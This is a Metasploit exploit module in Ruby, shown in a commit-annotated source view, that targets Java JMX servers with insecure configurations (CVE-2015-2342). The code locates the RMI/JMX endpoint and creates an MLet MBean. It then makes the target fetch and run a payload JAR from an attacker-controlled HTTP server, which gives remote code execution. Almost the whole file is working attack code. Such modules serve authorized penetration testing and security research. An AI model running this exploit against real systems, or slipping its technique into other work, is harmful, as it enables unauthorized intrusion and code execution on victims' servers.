Files
metasploit-gs/modules/exploits/multi/misc/java_jmx_server.rb
T

336 lines
9.8 KiB
Ruby
Raw Normal View History

2015-01-15 16:41:37 -06:00
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2015-01-15 16:41:37 -06:00
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::Remote::Java::Rmi::Client
2015-01-15 16:41:37 -06:00
def initialize(info = {})
super(update_info(info,
'Name' => 'Java JMX Server Insecure Configuration Java Code Execution',
2015-01-15 16:41:37 -06:00
'Description' => %q{
This module takes advantage a Java JMX interface insecure configuration, which would
allow loading classes from any remote (HTTP) URL. JMX interfaces with authentication
disabled (com.sun.management.jmxremote.authenticate=false) should be vulnerable, while
interfaces with authentication enabled will be vulnerable only if a weak configuration
2015-01-21 00:14:46 -06:00
is deployed (allowing to use javax.management.loading.MLet, having a security manager
allowing to load a ClassLoader MBean, etc.).
2015-01-15 16:41:37 -06:00
},
'Author' =>
[
'Braden Thomas', # Attack vector discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://docs.oracle.com/javase/8/docs/technotes/guides/jmx/JMX_1_4_specification.pdf'],
['URL', 'http://www.accuvant.com/blog/exploiting-jmx-rmi'],
2015-10-01 18:56:37 +02:00
['CVE', '2015-2342']
2015-01-15 16:41:37 -06:00
],
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Privileged' => false,
'Payload' => { 'BadChars' => '', 'DisableNops' => true },
'Stance' => Msf::Exploit::Stance::Aggressive,
'DefaultOptions' =>
{
'WfsDelay' => 10
},
'Targets' =>
[
[ 'Generic (Java Payload)', {} ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 22 2013'
))
register_options([
2015-03-23 17:32:26 -05:00
Msf::OptString.new('JMX_ROLE', [false, 'The role to interact with an authenticated JMX endpoint']),
2015-03-24 11:44:26 -05:00
Msf::OptString.new('JMX_PASSWORD', [false, 'The password to interact with an authenticated JMX endpoint']),
Msf::OptString.new('JMXRMI', [true, 'The name where the JMX RMI interface is bound', 'jmxrmi'])
2015-01-15 16:41:37 -06:00
], self.class)
register_common_rmi_ports_and_services
2015-01-15 16:41:37 -06:00
end
def on_request_uri(cli, request)
if request.uri =~ /mlet$/
2015-01-21 00:36:34 -06:00
jar = "#{rand_text_alpha(8 + rand(8))}.jar"
2015-01-15 16:41:37 -06:00
mlet = "<HTML><mlet code=\"metasploit.JMXPayload\" "
mlet << "archive=\"#{jar}\" "
2015-01-21 00:36:34 -06:00
mlet << "name=\"#{@mlet}:name=jmxpayload,id=1\" "
2015-01-15 16:41:37 -06:00
mlet << "codebase=\"#{get_uri}\"></mlet></HTML>"
send_response(cli, mlet,
{
'Content-Type' => 'application/octet-stream',
'Pragma' => 'no-cache'
})
2015-01-20 20:44:10 -06:00
print_status("Replied to request for mlet")
2015-01-15 16:41:37 -06:00
elsif request.uri =~ /\.jar$/i
p = regenerate_payload(cli)
jar = p.encoded_jar
paths = [
["metasploit", "JMXPayloadMBean.class"],
["metasploit", "JMXPayload.class"],
]
jar.add_files(paths, MetasploitPayloads.path('java'))
2015-01-15 16:41:37 -06:00
send_response(cli, jar.pack,
{
'Content-Type' => 'application/java-archive',
'Pragma' => 'no-cache'
})
print_status("Replied to request for payload JAR")
end
end
def autofilter
return true
end
2015-01-20 20:51:20 -06:00
def check
2015-01-21 00:14:46 -06:00
connect
2015-01-20 20:51:20 -06:00
2015-01-21 00:14:46 -06:00
unless is_rmi?
2015-01-20 20:51:20 -06:00
return Exploit::CheckCode::Safe
end
2015-01-21 00:14:46 -06:00
mbean_server = discover_endpoint
disconnect
if mbean_server.nil?
return Exploit::CheckCode::Safe
end
2015-02-24 05:24:09 -06:00
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
2015-01-21 00:14:46 -06:00
unless is_rmi?
return Exploit::CheckCode::Unknown
end
jmx_endpoint = handshake(mbean_server)
disconnect
if jmx_endpoint.nil?
return Exploit::CheckCode::Detected
end
2015-01-20 23:44:33 -06:00
2015-01-21 00:14:46 -06:00
Exploit::CheckCode::Appears
2015-01-20 20:51:20 -06:00
end
2015-01-15 16:41:37 -06:00
def exploit
vprint_status("Starting service...")
start_service
2015-01-21 00:36:34 -06:00
@mlet = "MLet#{rand_text_alpha(8 + rand(4)).capitalize}"
2015-01-20 20:44:10 -06:00
connect
2016-02-01 15:12:03 -06:00
print_status("Sending RMI Header...")
2015-01-20 23:44:33 -06:00
unless is_rmi?
2015-01-21 00:07:00 -06:00
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol")
2015-01-20 20:44:10 -06:00
end
2016-02-01 15:12:03 -06:00
print_status("Discovering the JMXRMI endpoint...")
2015-01-20 23:44:33 -06:00
mbean_server = discover_endpoint
2015-01-20 20:44:10 -06:00
disconnect
if mbean_server.nil?
2015-01-20 23:44:33 -06:00
fail_with(Failure::NoTarget, "#{peer} - Failed to discover the JMXRMI endpoint")
else
2016-02-01 15:12:03 -06:00
print_good("JMXRMI endpoint on #{mbean_server[:address]}:#{mbean_server[:port]}")
2015-01-20 20:44:10 -06:00
end
# First try to connect to the original RHOST, since the mbean address may be inaccessible
begin
connect(true, { 'RPORT' => mbean_server[:port] })
rescue Rex::ConnectionError
# If that fails, try connecting to the listed address instead
connect(true, { 'RHOST' => mbean_server[:address], 'RPORT' => mbean_server[:port] })
end
2015-01-21 00:07:00 -06:00
unless is_rmi?
fail_with(Failure::NoTarget, "#{peer} - Failed to negotiate RMI protocol with the MBean server")
end
2016-02-01 15:12:03 -06:00
print_status("Proceeding with handshake...")
2015-01-21 00:07:00 -06:00
jmx_endpoint = handshake(mbean_server)
if jmx_endpoint.nil?
fail_with(Failure::NoTarget, "#{peer} - Failed to handshake with the MBean server")
else
2016-02-01 15:12:03 -06:00
print_good("Handshake with JMX MBean server on #{jmx_endpoint[:address]}:#{jmx_endpoint[:port]}")
2015-01-15 16:41:37 -06:00
end
2016-02-01 15:12:03 -06:00
print_status("Loading payload...")
2015-01-21 00:07:00 -06:00
unless load_payload(jmx_endpoint)
fail_with(Failure::Unknown, "#{peer} - Failed to load the payload")
2015-01-15 16:41:37 -06:00
end
2016-02-01 15:12:03 -06:00
print_status("Executing payload...")
2015-03-23 15:48:10 -05:00
send_jmx_invoke(
2015-03-18 15:37:07 -05:00
object_number: jmx_endpoint[:object_number],
uid_number: jmx_endpoint[:uid].number,
uid_time: jmx_endpoint[:uid].time,
uid_count: jmx_endpoint[:uid].count,
2015-01-21 00:36:34 -06:00
object: "#{@mlet}:name=jmxpayload,id=1",
2015-01-21 00:07:00 -06:00
method: 'run'
2015-01-15 16:41:37 -06:00
)
2015-01-20 23:44:33 -06:00
disconnect
vprint_status("Stopping service...")
stop_service
2015-01-20 23:44:33 -06:00
end
def is_rmi?
send_header
ack = recv_protocol_ack
if ack.nil?
return false
end
true
end
def discover_endpoint
2015-03-24 11:44:26 -05:00
ref = send_registry_lookup(name: datastore['JMXRMI'])
2015-03-23 10:21:37 -05:00
return nil if ref.nil?
2015-01-20 23:44:33 -06:00
2015-03-23 10:21:37 -05:00
unless ref[:object] == 'javax.management.remote.rmi.RMIServerImpl_Stub'
2016-02-01 15:12:03 -06:00
vprint_error("JMXRMI discovery returned unexpected object #{ref[:object]}")
2015-01-20 23:44:33 -06:00
return nil
end
2015-03-23 10:21:37 -05:00
ref
2015-01-20 23:44:33 -06:00
end
def handshake(mbean)
2015-03-23 17:06:51 -05:00
begin
2015-03-23 17:32:26 -05:00
opts = {
2015-03-23 17:06:51 -05:00
object_number: mbean[:object_number],
uid_number: mbean[:uid].number,
uid_time: mbean[:uid].time,
uid_count: mbean[:uid].count
2015-03-23 17:32:26 -05:00
}
if datastore['JMX_ROLE']
username = datastore['JMX_ROLE']
password = datastore['JMX_PASSWORD']
opts.merge!(username: username, password: password)
end
ref = send_new_client(opts)
2015-03-23 17:06:51 -05:00
rescue ::Rex::Proto::Rmi::Exception => e
2016-02-01 15:12:03 -06:00
vprint_error("JMXRMI discovery raised an exception of type #{e.message}")
2015-01-20 23:44:33 -06:00
return nil
end
2015-03-23 17:06:51 -05:00
ref
2015-01-15 16:41:37 -06:00
end
2015-01-20 20:51:20 -06:00
def load_payload(conn_stub)
2016-02-01 15:12:03 -06:00
vprint_status("Getting JMXPayload instance...")
2015-01-20 23:44:33 -06:00
2015-03-23 17:06:51 -05:00
begin
res = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: "#{@mlet}:name=jmxpayload,id=1"
)
rescue ::Rex::Proto::Rmi::Exception => e
case e.message
when 'javax.management.InstanceNotFoundException'
2016-02-01 15:12:03 -06:00
vprint_warning("JMXPayload instance not found, trying to load")
2015-03-23 17:06:51 -05:00
return load_payload_from_url(conn_stub)
else
2016-02-01 15:12:03 -06:00
vprint_error("getObjectInstance returned unexpected exception #{e.message}")
2015-03-23 17:06:51 -05:00
return false
end
2015-01-20 23:44:33 -06:00
end
2015-03-23 17:06:51 -05:00
return false if res.nil?
true
2015-01-20 23:44:33 -06:00
end
def load_payload_from_url(conn_stub)
2016-02-01 15:12:03 -06:00
vprint_status("Creating javax.management.loading.MLet MBean...")
2015-03-23 15:48:10 -05:00
2015-03-23 17:06:51 -05:00
begin
res = send_jmx_create_mbean(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'javax.management.loading.MLet'
)
rescue ::Rex::Proto::Rmi::Exception => e
case e.message
when 'javax.management.InstanceAlreadyExistsException'
2016-02-01 15:12:03 -06:00
vprint_good("javax.management.loading.MLet already exists")
2015-03-23 17:06:51 -05:00
res = true
when 'java.lang.SecurityException'
2016-02-01 15:12:03 -06:00
vprint_error(" The provided user hasn't enough privileges")
2015-03-23 17:06:51 -05:00
res = nil
else
2016-02-01 15:12:03 -06:00
vprint_error("createMBean raised unexpected exception #{e.message}")
2015-03-23 17:06:51 -05:00
res = nil
end
end
2015-01-21 00:07:00 -06:00
2015-03-23 17:06:51 -05:00
if res.nil?
2016-02-01 15:12:03 -06:00
vprint_error("The request to createMBean failed")
2015-01-21 00:07:00 -06:00
return false
end
2016-02-01 15:12:03 -06:00
vprint_status("Getting javax.management.loading.MLet instance...")
2015-03-23 17:06:51 -05:00
begin
res = send_jmx_get_object_instance(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
name: 'DefaultDomain:type=MLet'
)
rescue ::Rex::Proto::Rmi::Exception => e
2016-02-01 15:12:03 -06:00
vprint_error("getObjectInstance returned unexpected exception: #{e.message}")
2015-01-21 00:07:00 -06:00
return false
2015-01-15 16:41:37 -06:00
end
2015-03-23 17:06:51 -05:00
if res.nil?
2016-02-01 15:12:03 -06:00
vprint_error("The request to GetObjectInstance failed")
2015-01-21 00:07:00 -06:00
return false
2015-01-15 16:41:37 -06:00
end
2016-02-01 15:12:03 -06:00
vprint_status("Loading MBean Payload with javax.management.loading.MLet#getMBeansFromURL...")
2015-01-15 16:41:37 -06:00
2015-03-23 17:06:51 -05:00
begin
res = send_jmx_invoke(
object_number: conn_stub[:object_number],
uid_number: conn_stub[:uid].number,
uid_time: conn_stub[:uid].time,
uid_count: conn_stub[:uid].count,
object: 'DefaultDomain:type=MLet',
method: 'getMBeansFromURL',
args: { 'java.lang.String' => "#{get_uri}/mlet" }
)
rescue ::Rex::Proto::Rmi::Exception => e
2016-02-01 15:12:03 -06:00
vprint_error("invoke() returned unexpected exception: #{e.message}")
2015-01-21 00:07:00 -06:00
return false
2015-01-15 16:41:37 -06:00
end
2015-03-23 17:06:51 -05:00
if res.nil?
2016-02-01 15:12:03 -06:00
vprint_error("The call to getMBeansFromURL failed")
2015-01-21 00:07:00 -06:00
return false
2015-01-15 16:41:37 -06:00
end
2015-03-23 17:06:51 -05:00
true
2015-01-15 16:41:37 -06:00
end
end